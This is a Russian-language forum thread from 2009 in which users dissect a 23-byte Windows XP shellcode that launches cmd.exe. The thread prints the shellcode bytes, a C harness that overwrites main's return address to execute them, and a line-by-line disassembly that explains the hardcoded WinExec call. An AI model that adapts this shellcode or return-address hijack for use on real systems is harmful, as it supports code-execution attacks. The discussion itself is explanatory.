PDA

Просмотр полной версии : Странный shell


=Zeus=
08.12.2009, 00:22
Кто-то может обьяснить, что делает этот код? Скачал с милворма, там написано, что это шелл для cmd.
Description : It's a 23 Byte Shellcode which Execute Cmd.exe Tested Under Windows Xp SP2 En


Я откомпилировал, но не могу понять, что он делает.
#include <stdio.h>
#include <string.h>
unsigned char shellcode[] =
"\x8b\xec\x68\x65\x78\x65"
"\x20\x68\x63\x6d\x64\x2e"
"\x8d\x45\xf8\x50\xb8\x8D"
"\x15\x86\x7C\xff\xd0";
int main ()
{
int *ret;
ret=(int *)&ret+2;
printf("Shellcode Length is : %d\n",strlen(shellcode));
(*ret)=(int)shellcode;
return 0;
}


Написано, что он "Execute Cmd.exe", то есть вызывает cmd. Если да, то как это использовать?

slesh
08.12.2009, 00:52
"\x8b\xec\x68\x65\x78\x65"
"\x20\x68\x63\x6d\x64\x2e"
"\x8d\x45\xf8\x50\xb8\x8D"
"\x15\x86\x7C\xff\xd0";



это асм команды:

mov ebp,esp
push 20657865h //
push 2E646D63h // это типа cmd.exe
lea eax,[ebp-8]
push eax
mov eax,7C86158Dh // это хардкодно прописали адрес функции скорее всего WinExec
call eax // вызвать функцию

такая вешь ооочень фуфлова, потом что работает только на определенной версии винды и языка системы.
Другой язык или/и другая версия винды и будет провал.

=Zeus=
08.12.2009, 00:58
А как тогда передать параметры в WinExec()?
Фаервол все равно спалит вызов?

slesh
08.12.2009, 01:01
При этом комбинация

int *ret;
ret=(int *)&ret+2; // ret будет равняться адресу созврата из функции main
printf("Shellcode Length is : %d\n",strlen(shellcode));
(*ret)=(int)shellcode; // перебьем адрес возврата на шелкод
return 0; // завершим функцию main. А т.к. адрес возврата мы подменили то вызовется шелкод

т.е. это пример вызова этого кода через срыв стека.

Передача параметров идет так:

mov ebp,esp // запомним адрес вершины стека
// поместим в стек
push 20657865h //
push 2E646D63h // это типа cmd.exe
lea eax,[ebp-8] // eax будет равняться указателю на начало строки cmd.exe которую закинули в стек
push eax // занесем параметр для WinExec а именно адрес имени проги. В нашем случае cmd.exe



Причем тут фаер?

=Zeus=
08.12.2009, 01:13
1. Я понимаю что для того чтобы что-то изменить нужно знать асм?
2. Ну например на Делфи если написать
WinExec('cmd.exe', sw_show); то фаер спалит запрос. А тут?

push 2E646D63h // это типа cmd.exe
А сюда писать то, что мне нужно вызвать?

mailbrush
08.12.2009, 01:38
Это ASM) Самый сложный ЯП.

gisTy
08.12.2009, 04:53
Это ASM) Самый сложный ЯП.
не сложнее остальных